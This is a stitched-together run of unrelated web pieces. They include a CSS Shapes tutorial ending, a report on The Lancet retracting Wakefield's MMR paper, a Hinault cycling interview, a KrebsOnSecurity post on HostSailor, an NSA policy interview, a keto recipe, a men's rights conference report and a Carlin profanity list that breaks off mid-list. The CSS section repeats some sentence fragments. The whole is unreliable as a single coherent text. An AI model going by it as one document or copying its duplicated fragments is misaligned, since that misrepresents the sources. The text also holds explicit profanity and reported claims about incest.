of the element itself. This allows us to separately set the element, say, to border-box while setting the shape to padding-box . To change the shape box model, add one of the box model keywords, content-box , margin-box , border-box , or padding-box after the function. The default box-model of the shape is set to margin-box . And in the following example, we’ve changed it to padding-box to tell the browser to exclude the element margin when determining the shape size or span. Now we should find the paragraph pass through the border, and immediately touching the padding of the element. The orange square is the margin, the yellow square is the border, and the green square is the padding, I highly recommend checking out our free course on the Basics of CSS Box Model for more about how the box-model works in detail. Creating More Shapes The CSS Shapes specification comes with a few more shape functions: ellipse() : As the name implies, this function will create an ellipse shape. We can configure the ellipse radius and move the shape center coordinate as well. But unlike the circle() function, the ellipse() function applies two radius measurements, horizontal and vertical, hence ellipse( 100px 180px at 10% 20% ) . : As the name implies, this function will create an ellipse shape. We can configure the ellipse radius and move the shape center coordinate as well. But unlike the function, the function applies two radius measurements, horizontal and vertical, hence . polygon() : This function enables us to create more complex shapes like triangles, hexagons, as well as non-geometrical shapes. Using polygon is not as easy as creating a circle, but the Path to Polygon Converter tool makes it a bit more intuitive. Wrapping Up In this tutorial, we looked into the basic application of CSS Shapes; we created a shape, customized the size, the position, and the box model. At the time of the writing, several aspects of CSS Shapes are still very rough around the edges, which is probably why we don’t see it used widely just yet. As mentioned earlier in this tutorial, the CSS Shapes shape-inside property, which allows us to wrap and shape content inside an element, has been put on ice. property, which allows us to wrap and shape content inside an element, has been put on ice. The CSS Shapes specification provides a separate property named shape-box to define the shape box-model, though it currently seems inapplicable to any browsers. to define the shape box-model, though it currently seems inapplicable to any browsers. Safari requires the -webkit- prefix, highlighting that this feature is experimental. Nonetheless, despite slow progress and disparity across browsers at the moment, I’m looking forward to CSS Shapes! Once the major browsers pick it up I can’t wait to see some really creative layouts on the web! -The venerable British medical journalhasretracted a 1998 study suggesting a link between autism and childhoodvaccination with the measles -mumps-rubella MMR vaccine . The Lancet tells WebMD that it has retracted "10 or 15" studies in its 186-year history. The retraction follows the finding of the U.K. General Medical Council (GMC) that says study leader Andrew Wakefield, MD, and two colleagues acted "dishonestly" and "irresponsibly" in conducting their research. The Lancet specifically refers to claims made in the paper that the 12 children in the study were consecutive patients that appeared for treatment, when the GMC found that several had been selected especially for the study. The paper also claimed that the study was approved by the appropriate ethics committee, when the GMC found it had not been. "We fully retract this paper from the published record," The Lancet editors say in a news release. The retraction means the study will no longer be considered an official part of the scientific literature. BMJ, formerly known as the British Medical Journal, has competed with The Lancet since 1840. BMJ editor Fiona Godlee says she welcomes the Lancet retraction. "This will help to restore faith in this globally important vaccine and in the integrity of the scientific literature," Godlee says in a news release. In 2004, 10 of Wakefield's 13 co-authors disavowed the findings of the 1998 study. Although the study never claimed to have definitively proven a link between the MMR vaccine and autism, sensational media reports ignited a public panic . MMR vaccinations fell dramatically. More rigorous studies have found no link between autism and the MMR vaccine . Last year, the U.S. "vaccine court" rejected U.S. lawsuits claiming that there was a plausible link between the vaccine and autism. Wakefield continues to proclaim his innocence and defends his earlier work. He now resides in Texas, where he is executive director of an alternative medicine center for autism treatment and research. By Daniel DeNoon Reviewed by Louise Chang ©2005-2008 WebMD, LLC. All rights reserved -There are world championships and then, well, there are world championships. The magic of the race for the rainbow jersey is its uncanny unpredictability. Because riders compete on their national teams rather than their trade teams, and because the race route changes from year to year, the event can sometimes smile on lesser-known riders. Words and Images by James Startt But while upsets are frequent, the epic world championship races are the ones captured by great champions over grueling race routes. Greg LeMond’s second world title in Chambéry, France, only weeks after winning the 1989 Tour de France, certainly goes down as one of the best. Another was the impressive victory taken in 1980 by French champion Bernard Hinault, who almost single-handedly demolished an elite field in his native France. And in what can only be heralded as a “Babe Ruth” move, Hinault promised national team director Richard Marillier that he would win the race three years earlier—when he discovered that the worlds would be held in France. The anecdote, although rarely cited, calls to mind “The Babe” pointing to the bleachers moments before blasting a home run to the very spot. Hinault came to the start in Sallanches, a small town in the French Alps, prepared to deliver. On that day, the riders tackled the rugged Côte de Domancy—the main climb on the final time trial to Megève in this year’s Tour de France—no less than 20 times. Lap after lap Hinault assumed his role as pre-race favorite, forcing the pace and splintering the pack. Italian Gianbattista Baronchelli, the final rider capable of following Hinault’s tempo, was having the race of his life. But he was no match for the ferocious champion that was Hinault, often known as “The Badger,” who dropped the Italian on the final climb. Hinault won solo, a minute ahead of the Italian and almost five minutes before the seven-man “peloton.” Only 15 riders finished the 268-kilometer race. It is a day etched in Hinault’s own memory, and one the ever-candid Frenchman shares with Peloton only a week before this year’s title race. _____________________________________________________________________________________________ Peloton: Bernard, you won one of the most memorable world championships in history. Why do you think your victory in Sallanches is so etched in cycling history? Bernard Hinault: Well, firstly, because the course was just so hard! Peloton: It was a race that we rarely have seen since. You were one of the big favorites, the leader of the French national team, yet you attacked already on the first lap and basically won the race from the front. We just don’t see that in modern-day racing? Hinault: Again, the course was so hard. It was a race for the strongest. You had to be one of the strongest just to be able to follow the pace. When you are the strongest on a course like that, well, you can just drop everybody, à la pédale! I was super well-trained and I was at the summit of my career. If the world championship circuit had been that difficult for the next four years I would have been world champion for the next four years! On race day, I just told my teammates to keep me at the front for the first 10 laps and then I would take care of the rest. And that is what I did. The Côte de Domancy was just so hard. It was ideal for me. I didn’t need a lot of strategy. The final five or six laps up the hill I just rode a steady tempo like I did in the mountains until, finally, nobody could follow. I didn’t have any help. I just went to the front each time we hit the climb. Each lap, more and more riders dropped—bing, bing! And finally the last rider, Baronchelli, blew about 500 meters from the summit of the final ascension and I rode in to victory. Peloton: Yeah, but you withdrew from the Tour de France that year due to tendinitis. You weren’t worried that you would lose the needed condition? Hinault: No, I just sat out for eight days, the time for the swelling to subside and then I started riding again. Don’t forget, I had won Liège-Bastogne-Liège that year as well as the Tour of Italy, and I withdrew from the Tour de France with the yellow jersey. So I was really in great shape. As long as I didn’t take too long to recover, I knew that I would be okay, and that was the case! After I got back on my bike, the condition returned quickly. I used the Tour of Germany to prepare that year and felt really good there. So I was confident going into the race. Peloton: You were so confident that, according to legend, you promised the national team coach three years earlier that you would win the world championships that year. Is that really true? Hinault: Absolutely. I didn’t know where exactly the race would be. I didn’t know it would be on such a hard circuit. But I knew it would be in France and I was going to do everything to win it there. Peloton: Bernard, you’ve won so many great races, all of the grand tours, monuments like Liège-Bastogne-Liège and Paris-Roubaix. How does your world title resonate today? Hinault: Like all of the others. We ride to win the great races. And each time we do, it’s a great satisfaction. And winning the worlds remains one of my great victories. You just always want to give your best in this race. It brings out the best in riders! Peloton: What is it like wearing the rainbow jersey all year long? You instantly become a marked rider. Is it harder to get results? Hinault: Ah, no. It’s a great honor. Not everybody gets a chance to wear it. And because I had the rainbow jersey, I made sure I was in shape earlier the following season. As a result, I won races earlier in the season. That was the year that I won Paris-Roubaix. Usually I wasn’t competitive so early in the season. Peloton: True, it was a race you truly disliked. And yet you won it with the world champion’s jersey! You once called Paris-Roubaix a…what kind of race? Hinault: A shit race! Paris-Roubaix was just too dangerous for me. When you know that you can win a race like the Tour de France, you don’t think about Paris-Roubaix. If you crash there, your season can be finished! Peloton: This year’s world championship is going to be very different. Hinault: Well, it won’t be hard like in Sallanches. That is something that is not going to be the case in Doha this year. It’s completely flat. Peloton: That’s for sure, although many people are saying that the wind could really blow things apart! Hinault: Sure, but all good sprinters at the professional level know how to ride in the wind, or at least they should! In addition, the race finishes on a circuit in the city, so there is plenty of opportunity for the race to come together again. And now they are talking about reducing the length of the race to only 107 kilometers if it is too hot—well, then, the world championships will be reduced to a virtual criterium! No, I think regardless of the conditions, all the big sprinters will be there at the finish and it is going to be a big mass sprint. If indeed they cut the race distance from nearly 260 kilometers down to 107, it won’t have the same value. You just won’t be able to compare the race to other world championships. There are going to be a lot more riders capable of winning a race that is so short. That said, you still have to win it! -THIS WEEK 6 | NewScientist | 20 July 2013 BONES. That is all the passing millennia have left us of the Neanderthals and the more elusive Denisovans. Until recently, the main insights gleaned from these bones have been physical: what our cousins might have looked like, for instance, and how they moved. But cutting-edge genetic science is changing that. We can now see, for the first time, which genes are switched on in humans but were not in Neanderthals and Denisovans, and vice versa. The findings point to subtle differences between our brain structure and function, and theirs. The research, presented last week at the Society for Molecular Biology and Evolution meeting in Chicago, reveals that after our ancestors split from Neanderthals and Denisovans, they evolved differences in genes connected with cognitive abilities. Many of those genes are associated with mental disorders in modern humans. Working out which genes are switched on or not involves looking at the epigenome, or the chemical “methyl” tags attached to genes. Genomes, in contrast, show only the basic sequence of genes. Liran Carmel at the Hebrew University of Jerusalem, Svante Pääbo of the Max Planck Institute for Evolutionary Anthropology in Leipzig, Germany, and colleagues analysed the epigenomes of Neanderthals and Denisovans and compared them with those of modern humans (s ee “What’s good about decay”, top right). Altered methylation patterns are frequently associated with disease, particularly cancer and mental disorders. So Carmel’s approach has the potential to give us unprecedented insight into the – Dem bones got something to say – The first look at which genes were switched on and off in our extinct cousins is allowing us to peer into their minds Inside the brain of a Neanderthal Sara Reardon, Chicago “The approach could offer unprecedented insight into the mental abilities of extinct hominin species” -The sounds a modern car makes are deliberate, designed, and a deception: the clicking of the turn signal isn't a mechanical tick-tock; it's an MP3 of a mechanical tick-tock, played back through hidden speakers. The engine's rumble is tuned with active noise-cancelling that mutes the tones that jangle the ears. But as you reduce the speed that the drive shaft is rotating, you lower the frequency of the sound it’s making. There comes a lower limit where the engine is making what Gordon calls “groan-y and moan-y” noises which people find unpleasant. The car sounds broken. So cars had to keep the engine’s RPM above a certain level, hurting their fuel efficiency, or risk alienating customers. GM’s solution was to implement active noise cancellation, the same technique used in some headphones to quiet ambient noise. Microphones in the body listen to the ambient sounds the car and engine are making, and the car plays the opposite of that over the vehicle’s speakers. The sound waves from the engine are cancelled out by the sound from the entertainment system, netting a quieter ride that can be more fuel efficient without being so bothersome. Some sounds in the car are completely artificial. The telltale clicking of a turn signal was once an artifact of the mechanical process that turned the light on and off. But that mechanism has long since been replaced by an electronic circuit that operates silently. Still, audible feedback is valuable so the car plays an MP3 file of a turn signal over the speakers. -Media playback is unsupported on your device Media caption Homes, businesses and vehicles were damaged in the clashes Riot police and army troops have been deployed in southern Sri Lanka following an outbreak of violence between Buddhists and Muslims, and a curfew has been imposed for the second night running. Nineteen people were arrested when clashes erupted in Galle province, after a traffic accident. Homes and businesses were attacked and several properties damaged. Authorities say the sectarian violence has now been brought under control. "Additional police battalions, the police Special Task Force, the anti-riot squad and the military were called in last night to bring the situation under control," Law and Order Minister Sagala Ratnayaka said in a statement. He also warned people not to stir up sectarian hatred on social media. MP Manusha Nanyakkara told the BBC that 10 vehicles were destroyed, the majority of which were owned by Muslims, and 62 homes and businesses were attacked. He said the 6pm-6am curfew was imposed as a security measure to prevent further violence. Image caption A damaged motorbike is discarded in the street following the violence Image caption Several properties in Galle province were vandalised The outbreak of street violence between majority Sinhalese Buddhists and minority Muslims started after an incident involving a Muslim woman and a motorbike driven by a Buddhist man. A police spokesman said people were arrested after "spreading false messages and rumours on social media" that contributed to the escalation in violence. Similar clashes in a nearby area three years ago forced thousands of Muslims to flee their homes. -Earlier this month, KrebsOnSecurity published The Reincarnation of a Bulletproof Hoster, which examined evidence suggesting that a Web hosting company called HostSailor was created out of the ashes of another, now-defunct hosting firm notorious for harboring spammers, scammers and other online ne’er-do-wells. Today, HostSailor’s lawyers threatened to sue this author unless the story is removed from the Web. Obviously, I stand by my reporting and have no intention of unpublishing stories. But I’m writing about HostSailor again here because I promised to post an update if they ever responded to my requests for comment. The letter, signed by Abdullah Alzarooni Advocates in Dubai — where HostSailor says it is based — carries the subject line, “Warning from Acts of Extortion and Abuse of the Privacy of Third Parties.” It lists a number of links to content the company apparently finds objectionable. Could this same kind of legal pressure be why security industry giant Trend Micro removed all reference to HostSailor from the report that started all this? Trend hasn’t responded to direct questions about that. Astute readers will notice in the letter (pasted below) a link to a Twitter message from this author among the many things HostSailor’s lawyers will like me to disappear from the Internet. That tweet to HostSailor’s Twitter account read: “Potential downside of reporting ISIS sites: The hosting firm (ahem @HostSailor) may share your info/name/report with ISIS. Opsec, people!” I sent that tweet after hearing from a source with whom I’ve been working to report sites affiliated with the jihadist militant group ISIS. The source had reported to HostSailor several of its Internet addresses that were being used by a propaganda site promoting videos of beheadings and other atrocities by ISIS, and he shared emails indicating that HostSailor had simply forwarded his abuse email on to its customer — complete with my source’s name and contact information. Thankfully, he was using a pseudonym and throwaway email address. HostSailor’s twitter account responded by saying that the company doesn’t share information about its customers. But of course my tweet was regarding information shared about someone who is not a HostSailor customer. This isn’t the first time KrebsOnSecurity has been threatened with lawsuits over stories published here. The last time I got one of these letters was in Sept. 2015, from a lawyer representing AshleyMadison’s former chief technology officer. The year before, it was Sony Pictures Entertainment, whose lawyers lashed out a large number of publications for too closely covering its epic and unprecedented data breach in 2014. Prior to that, I received some letters from the lawyers for Igor Gusev, one of the main characters in my book, Spam Nation. Mr. Gusev’s attorneys insisted that I was publishing stolen information — pictures of him, financial records from his spam empire “SpamIt” — and demanded that I remove all offending items and publish an apology. My attorney in that instance laughed out loud when I shared the letter from Gusev’s lawyers, calling it a “blivit.” When I apparently took more than a moment to get the joke, he explained that a “blivit” is a term coined by the late great author Kurt Vonnegut, who defined it as “two pounds of shit in a one-pound bag.” Only time will tell if this letter is a blivit as well. I’ve taken the liberty of sanitizing the PDF document it came in, and converting that into two image files – in case anyone wants to take a look. Tags: Abdullah Alzarooni Advocates, blivit, HostSailor, Kurt Vonnegut, trend micro -The National Security Agency's headquarters in Fort Meade, Md. (NSA) Chris Finan is a former Obama administration official who has come to have serious doubts about the National Security Agency's role in domestic surveillance and cybersecurity efforts. In the past, policymakers looked to the NSA for its unparalleled expertise in cryptography and computer security. But Finan argues that rapid improvement in private-sector cybersecurity expertise has made dependence on the NSA unnecessary and, especially in the wake of Edward Snowden's revelations, potentially dangerous. He argues that domestic counterterrorism efforts should depend more on civilian agencies and the private sector, not military agencies such as the NSA. Finan draws on a wealth of experience developed over several years of high-level government service. Finan served in the military during the Iraq war. After spending two years at a startup, he joined the Obama administration in 2009. He worked on cybersecurity policy, first at the Pentagon and then at the White House. He left government service in 2012 and now works for a Silicon Valley startup that helps companies protect their customers' accounts from being hijacked. We spoke Thursday. The transcript has been edited for length and clarity. You're skeptical about the NSA's large role in domestic cybersecurity and surveillance activities. Why is that? One of the themes of the 2012 cybersecurity debate was thinking about how to leverage the technical crown jewels that are NSA and bring that incredible technical capability to bear on this domestic security problem. Inherent in that assumption is that only NSA has the technical capability to aid our law enforcement and homeland security community. But technology paradigms have changed. There's an enormous amount of data the federal government collects. They're parsing through that data to generate leads, looking for correlations to potential terrorists overseas, other leads the law enforcement community is looking for, etc. It used to be you needed enormous supercomputer infrastructure to do that well. Now, due to faster computers and parallelization, anyone can do it. Thanks to Amazon Web Services or Rackspace, if you have access to the Internet, you have access to a supercomputer. [The private sector] can do a lot of the big data capabilities that used to be an inherently government function in the past. These big data analytics are driving the American economy right now. So to think that a government agency is going to do this better than our tech innovators in this country I think is fallacious. I think it was an old paradigm, it was an old assumption that needs to be challenged. Still, the NSA has a lot of technical expertise and powerful hardware, right? Why not use that to address domestic security problems? I don't believe that Americans are comfortable with the military intelligence community having such a central domestic role. We should come up with a strategy to divest the military and intelligence community and instead look for ways to leverage this [private sector] advantage. I think there's a way to leverage our competitive advantage in big data in a way that also is consistent with the Fourth Amendment. We also have an over-classification problem. I don't condone what Ed Snowden did. He made a commitment to protect classified information. Breaking that commitment was wrong. However, he did bring to light this classification problem, which needs to be debated as a society. The problem with over-classification is you create an inherently closed system. Closed systems are prone to failure. In fact it's not just technology. Think of the political system. Closed totalitarian systems are inherently weaker than open egalitarian systems. There's a principle called Kerckhoffs's principle, which states that if a code system is open and the only thing that's protected is the key, that's the most secure system. I wish our cryptology guys would think about [that principle in the cybersecurity sector]. It doesn't make sense that we'd have a closed system rather than open it up. Taking a centralized approach to this problem and having a single agency serve as the central aggregation point doesn't scale. That to me is the assumption that I go back to in thinking about ways to open up. This gets to a larger point. People like Director of National Intelligence James Clapper claim that more transparency will give the terrorists our playbook. I think you can acknowledge the existence of programs without giving away sensitive sources and methods and giving away our counterterrorism playbook. Director of National Intelligence James Clapper, right. (Susan Walsh/AP) So is your proposal that a civilian agency at the Department of Homeland Security would do the kind of dragnet surveillance the NSA is doing today? No, I'm not in favor of or proposing the continuation of dragnet surveillance. I don't believe that's necessary. I think we've taken an axe approach when scalpels would be more consistent with the Fourth Amendment. I think the FISA Amendments Act and the Patriot Act are overly broad. I favor a more targeted approach, using warrants to collect the data when we absolutely need it. [Instead, civilian agencies should focus on] providing [information to the private sector.] If the government gets information because of its foreign government intelligence apparatus, it should be able to quickly send that out to the private sector. Primarily as a one-way communicator. Here are threats we're seeing overseas. There's been some of this in the past, but they haven't scaled it up. [The government has] more of an interest in making it a quid pro quo, government receiving information and then giving information back. The private sector is going to be able to operationalize it much better than the U.S. government. Some of the career officials are hesitant to scale [public-to-private sharing] up because they want to use it as a chit to get access to more data. I think that's the wrong approach. Government should give this threat information to the private sector. We shouldn't adopt the mentality that the government knows better how to do this. Some in Congress have said we need to promote information sharing. I think that's code for many career national security officials to weaken privacy laws so they can get access to more domestic data. I'm all for pushing information out. I'm all for making it easier for companies to share information between each other, which may require more explicit legal language. I think if we can do that without weakening consumer protections, you can do that. I want to ensure that kind of sharing is restricted to threat information. I'm all for looking at how to do that, and as long as you keep the liability protections fairly narrow, that would work. What else can be done to shore up Internet security? Congress should look at aligning market incentives. For example, publicly traded corporations should report cyber risk as a material risk. I'd like Congress to make sure this is being done at scale across the private sector. That would go a long way toward improving cyber-security, because it would make shareholders more aware. A third thing is securing critical infrastructure. I was a proponent of some kind of standard for critical infrastructure. There was no appetite for that on Capitol Hill. I think there's certainly more that we can do. The problem though is that many on the Hill immediately look to [the NSA] as the solution. That's just myopic because it doesn't leverage our private sector innovators. There's no way that can scale. Defenders of the NSA say getting the NSA completely out of domestic surveillance is unrealistic because terrorists increasingly use American services like Gmail. Isn't that an argument for continuing the NSA's role? [Spying on terrorists' Gmail accounts] should be done by civilian law enforcement agencies with a warrant. It shouldn't be a military agency without a warrant. That's completely inconsistent with the values of this country. I don't care if it's a treasure trove of terrorists. It doesn't matter. There's something fundamentally wrong if that's our strategy. There's got to be a better approach. There's no way we have to rely on the military to be able to do that. I feel like we've allowed post-9/11 inertia to drive us to the point where we are now. Let's reverse that. Let's think about that deliberately. Let's design a system that can scale to meet that threat. Focus our military and intelligence agencies outward. -David Donald sees rainy days as an opportunity and every hill as a workout. Foodora's head of cycling operations has been cycling for 38 years and now offers road-tested advice to the professional cyclists, students and second-income earners who have taken jobs with the food delivery service. Sydney's city streets are not particularly bike friendly however Deliveroo and Foodora riders are becoming more common. Credit:James Brickwood "Rainy days are when you have to suck it up and get out there," he said. "Shiver a bit and you might get a bigger tip." The likes of Foodora and Deliveroo have burst onto Sydney's streets from nowhere, an army of fuschia and aqua on wheels. Panting uphill, through downpours, hot spells and often on low-quality bikes, the bicycle delivery people are, against the odds, fast becoming a part of inner-city Sydney life. -A 4-year-old girl is recovering in the hospital after falling out of the back of a moving bus Saturday, and the horrifying incident was caught on video. Licensed EMT and volunteer firefighter Ryan Ciampoli was driving on a busy highway in Harrison, Arkansas, when he saw the young girl swing the back door of the bus open, hanging on for a brief moment before toppling onto the pavement. His dash camera happened to be running as he witnessed the accident and immediately sprang into action. Ciampoli told KLRT-TV that the girl was initially unconscious but began waking up as he approached her. "Obviously, you want to leave her laying there if she's not in danger, but we're in the middle of a state highway so I couldn't leave her just laying there," he said. He carefully picked her up and laid her in a nearby truck bed where he assessed her condition and kept her conscious before the paramedics could arrive. "Once the adrenaline and the shock kicked in in her little body, she started kicking and screaming, and 'Where's my mommy,' things like that. Stuff like that is really heartbreaking," Ciampoli said. The young girl suffered a broken jaw and will need surgery, according to her mother, but she is expected to be released from the hospital Monday. It is unclear how the little girl managed to open the back door or why the bus driver did not stop when she fell. -A student will serve 120 hours community service after admitting to frying his flatmate's hamster while drunk to "the point of madness." James White, 21, admitted causing unnecessary suffering to the female hamster in February last year after a court could not establish if the animal was alive or not upon entering the pan. District Judge Roy Anderson said he was sentencing White- a politics and international relations student at York University- on the basis the rodent died minutes before, while he was handling it. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. Two veterinary pathologists gave their expert opinion on how the female Syrian hamster, which has not been named, met its death. Selby Magistrates' Court heard White had drunk so much in his flat in York he was "on the point of madness" and could not remember the incident. District Judge Anderson said it was clear the hamster did not die of natural causes and that "what happened on that night is still shrouded in mystery." He told White: "By virtue of your treatment of this small, unfortunate rodent you've destroyed your good character and acquired a criminal conviction. "It's accepted now that there was rough handling of that animal but that it couldn't be established that it was putting it in the frying pan and applying heat that caused its death. "Had that sadistic conduct been established I would be dealing with you in a far more serious way than I am." White is also banned from keeping animals for eight years and will pay £1,000 towards the £3,356 costs of the case. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now -You’re reading Back of the Envelope, an experiment that aims to bring shorter, quicker content to FiveThirtyEight. Halloween may be over, but there’s still a zombie among us: the Trans-Pacific Partnership. The TPP is the trade deal many thought was already killed off, but it just won’t go away. During the primaries, it served as a policy pinata — with Bernie Sanders and Donald Trump, in particular, taking turns excoriating it as a raw deal for American workers. Hillary Clinton, once a supporter, came out against it, too. (She now says the final version of the treaty doesn’t meet her standards.) But the Obama administration, which negotiated the treaty, isn’t giving up on it. The White House is pressuring Congress to approve the 12-nation trade deal during the lame-duck session after the election. And on Thursday, Obama’s Council of Economic Advisers published a report warning that if the TPP isn’t passed, a China-backed trade agreement will take its place. That could put U.S. manufacturers at a disadvantage when they try to sell to customers in Japan and other Asian nations. The report argues that if China’s Regional Comprehensive Economic Partnership goes into effect, at least 35 U.S. industries as diverse as plastics, fishing and footwear will be at risk of increased competition from China in the Japanese market. Next week’s election will affect the chances of Obama’s TPP Hail Mary. If Trump wins, all bets are off: Republicans, usually more keen to support trade deals than Democrats, aren’t likely to back a deal strongly opposed by the president their party just elected. But if Clinton wins, Obama might be able to put together a coalition of Republicans and trade-friendly Democrats to support the treaty. In other words, the TPP isn’t dead yet. -Follow us 101.6k This salad is one of my "grab & go" favourites. It's great for anyone with a busy lifestyle looking for a sating and nutritious low-carb meal they can take to work. I always have hard-boiled eggs and keto-friendly mayo in my fridge. This way I save time and money and avoid temptations. If you want to succeed with your healthy low-carb eating, you should plan your cooking at least a few days in advance. 0 hours, 0 minutes Hands-on 5 minutes Overall 5 minutes Nutritional values (per serving) 3.9 grams 1.5 grams 41.4 grams 49.7 grams 8.8 grams 626 calories Total Carbs 5.4 grams Fiber 1.5 grams Net Carbs 3.9 grams Protein 41.4 grams Fat 49.7 grams of which Saturated 8.8 grams Calories 626 kcal Magnesium 63 mg (16% RDA) Potassium 655 mg (33% EMR) Macronutrient ratio: Calories from carbs (3%), protein (26%), fat (71%) Ingredients (1 serving, large salad bowl) 1 small head lettuce, Romaine or Little Gem (100 g/ 3.5 oz) 140 g tinned tuna, drained (5 oz) 2 eggs, hard-boiled, free-range or organic 2 tbsp mayonnaise, try my home-made mayo (30 g/ 1.1 oz) 1 medium spring onion or bunch chives (15 g/ 0.5 oz) 1 tbsp fresh lemon juice 1 tbsp extra virgin olive oil salt to taste (I used pink Himalayan) Note: Use less tuna if you this recipe is too high in protein for you. Find out what's your ideal protein intake using our keto calculator. A fun way to learn about healthy low-carb eating! Take the Keto Diet Quiz Print Recipe Download Recipe Instructions Tear the leaves of the lettuce, wash and drain in a salad spinner or with a paper towel. Spread the leaves over the bottom of the serving bowl. Add drained and shredded tuna. To avoid unhealthy vegetable oils that may often be used in tuna products, get tuna in extra virgin olive oil or in brine. I avoid buying canned foods and get tuna in glass jars instead. This will minimise your exposure to toxic BPAs that may often be present in canned foods. Top with hard-boiled eggs (see instructions in this recipe to see how to hard-boil eggs), mayo mixed with lemon juice and freshly chopped spring onion. Drizzle with extra virgin olive oil and enjoy! Do you like this recipe? Share it with your friends! Pinterest Reddit Martina Slajerova Creator of KetoDietApp.com I changed the way I ate in 2011, when I was diagnosed with Hashimoto’s, an autoimmune disease that affects the thyroid. I had no energy, and I found it more and more difficult to maintain a healthy weight. That’s when I decided to quit sugar, grains, and processed foods, and to start following a whole-foods-based ketogenic approach to food. More posts by Martina Slajerova -The first day of the First International Conference on Men’s Issues ended on Friday with a short speech by Paul Elam, who was introduced (twice, thanks to a troublesome microphone) by Warren Farrell. Farrell testified to Elam’s warmth and kindness, his love for his wife, and his passion for the so-called men’s rights movement. The bromance continued on Saturday, as Elam rose to introduce Farrell. The Financial Times named Farrell one of the 100 Greatest Thinkers of the 20th century, Elam said, but he would count him as one of the greatest of the 21st century too. It was Farrell’s book The Myth of Male Power that crystalized his thinking about the troubles between the genders—and that inspired him to create the movement he leads. Two years ago, Elam was posting pictures of women who had committed “offenses against men” on his Register-Her.com website and vowing to “fuck their shit up.” Today, he high-mindedly declared that his goal is to “build bridges between men and women instead of walls.” Farrell, who once served on the board of the New York City chapter of the National Organization for Women, has come in for his share of controversy and misunderstanding over the years. Renewed interest in the forty-year-old interview he gave to Penthouse about his research on the positive side of incest (cousin-cousin, uncle-niece, aunt-nephew, brother-sister, and same-sex sibling incest are beneficial, he said, in 95 percent of the cases he looked at; mother-son incest is 70 percent positive) hasn’t helped matters; the angry protesters he attracted when he spoke at the University of Toronto in November, 2012 must have stung him too (though men’s rights activists, aka MRAs, made good use of the publicity). Warren’s embrace of Elam and the corner of the Manosphere that A Voice for Men occupies seems like something of a come-down for a man who has hobnobbed with high-wattage celebrities, appeared on network talk shows, taught at major universities, written bestsellers, and taken calls from the White House. But he clearly hopes that he can help to elevate the movement’s tone—to shift its focus away from reactive hatred of feminism and empowered women, and towards a positive agenda. In his speech, he focused on issues that he believed could attract female allies to the movement, among them the crisis of boys, children’s need for both parents, the need for better communication, the development of a birth control pill for men, and the importance of veterans care. Provocatively, he suggested that the name “men’s rights activist” be retired. “You know and I know that men do need rights. We need the right to equal parenting. We need the right to not be the only gender registering for the draft. We need the right to have Men’s Studies,” he said. “But men’s rights is a tougher than necessary fight in a world that believes that men made the rules and have all the rights to begin with. It’s like asking for king’s rights.” Karen Straughan, an LGBT divorced mother of three, identified herself as a lifelong anti-feminist. Going all the way back to Seneca Falls, feminism was always wrong, forever blaming men for problems that women never had. “It is huge, huge power we have as women,” she declared, to the loudest and most sustained applause of the day. “And it’s really time that some of us stepped up and started to use it responsibly.” She was talking about women, of course, but her words echoed Warren Farrell’s admonitions to MRAs as well. Carnell Smith, a crusader against paternity fraud, told some hair-raising stories about men who had been entrapped into paying the upkeep for other men’s children; he made the point that both the men and the women who lied to them were being used by the “evil empire” of Child Support Enforcement, which collects money without regard to whether the putative father is the biological father—or whether he even has a relationship with the children. Robert Franklin, an attorney and father’s activist, eviscerated the family court system; Terrence Popp, a war hero who lost custody of his children and became homeless upon his return from Iraq, testified to his sense of betrayal by his wife and by the courts. The last speaker was the libertarian Stephan Molyneux, who reframed circumcision as male genital mutilation and turned the tables on the feminist notion that men are uniquely violent. 90 percent of a child’s brain and character are formed in the first five years, he said, when boys spend most of their time with their mothers or the mostly female caregivers in day care settings. It is women’s violence against boys—corporal punishment, yelling, shaming—that creates violent male adults, he said, referring to a study of Texas mothers, who reportedly hit their children more than 900 times a year. Mothers like those are as stressed as they are, he added, because of the bad choices they made—they picked the wrong men to have children with; they put their careers ahead of their responsibility to their children. In the good old days before the welfare state, he concluded, illegitimate children were given up for adoption to two-parent homes, where they invariably thrived. Thanks to subsidized daycare and a host of other public services, single mothers now have the wherewithal to ruin their children’s lives. Molyneux’s enthusiasm for compelled adoptions clashed a little with the sentiments of many of the other speakers, who deplored how little efforts courts made to involve unmarried fathers in their children’s lives, but there was no push-back from the attendees in the Q&A that followed. The event closed with a panel discussion on activism, which all agreed was the movement’s next phase and defining challenge. Farrell declared that he used to tell people that the men’s rights movement was embryonic, but he would say that no longer. All and all, the weekend wasn’t an unalloyed hate fest, though there was plenty of rancor, contempt, defensiveness, and anti-feminism on display. Some of the female speakers were the least restrained in that respect, especially on the contentious issues of domestic violence and sexual coercion and modern women’s infuriating desire to determine their own destinies. Many of the speakers signaled that they were chafing a little under Paul Elam’s no trash-talking rule. It will be interesting to see how much bridge-building A Voice for Men engages in from here on out—starting, perhaps, with the comments about this very post. -"Carlin at Carnegie" is George Carlin 's third special to be seen on HBO, recorded at Carnegie Hall , New York City in 1982 , released in 1983 . Most of the material comes from his " A Place for My Stuff ", the album released earlier that same year. Unlike the first two, this special was edited down to an hour and routines from the same show like "A Place for My Stuff" and "Baseball and Football" do not appear in this special in contradiction to many internet descriptions. The final performance of " Seven Dirty Words ," his last recorded performance of the routine, features Carlin's updated list (read from an oversized scroll): "Shit, Piss, Fuck, Cunt, Cocksucker, Motherfucker, Tits, Fart, Turd, Twat, Crap, Balls, Prick, Asshole, Jackoff, Jerkoff, Scumbag, Douchebag, Hardon, Rod-on, Boner, Stiff, Pisshard, Blueballs, Nookie, Koose, Gash, Slash, Hole, Slit, Snatch, Box, Beaver, Pussy, Bearded Clam, Jism, Cum, Cream, Juice, Pecker, Peckerhead, Peckertracks, Dick, Dork, Dong, Donacker, Wang, Shlong, Schwantz, Pork, Crabs, Ass, Butt, Hiney, Tuchas, Bum, Buns, Cheeks, Screw, Lay, Diddle, Plow, Hump, Bang, Poke, Batter, Wham, Knock-up, Bugger, Brown, Juggs, Bazooms, Knockers, Knobs, Lungs, Balloons, Dildo, Joystick, Hairpie, Muff, Cornhole, Rimjob, Blowjob, Sugarbowl-pie, Suck-off, Give-head, Sit-on-my-face, Buttfuck, Fingerfuck, Clap, Kleek, 69, 71 which is 69 with 2 fingers up your ass, daisy chain, circle jerk, 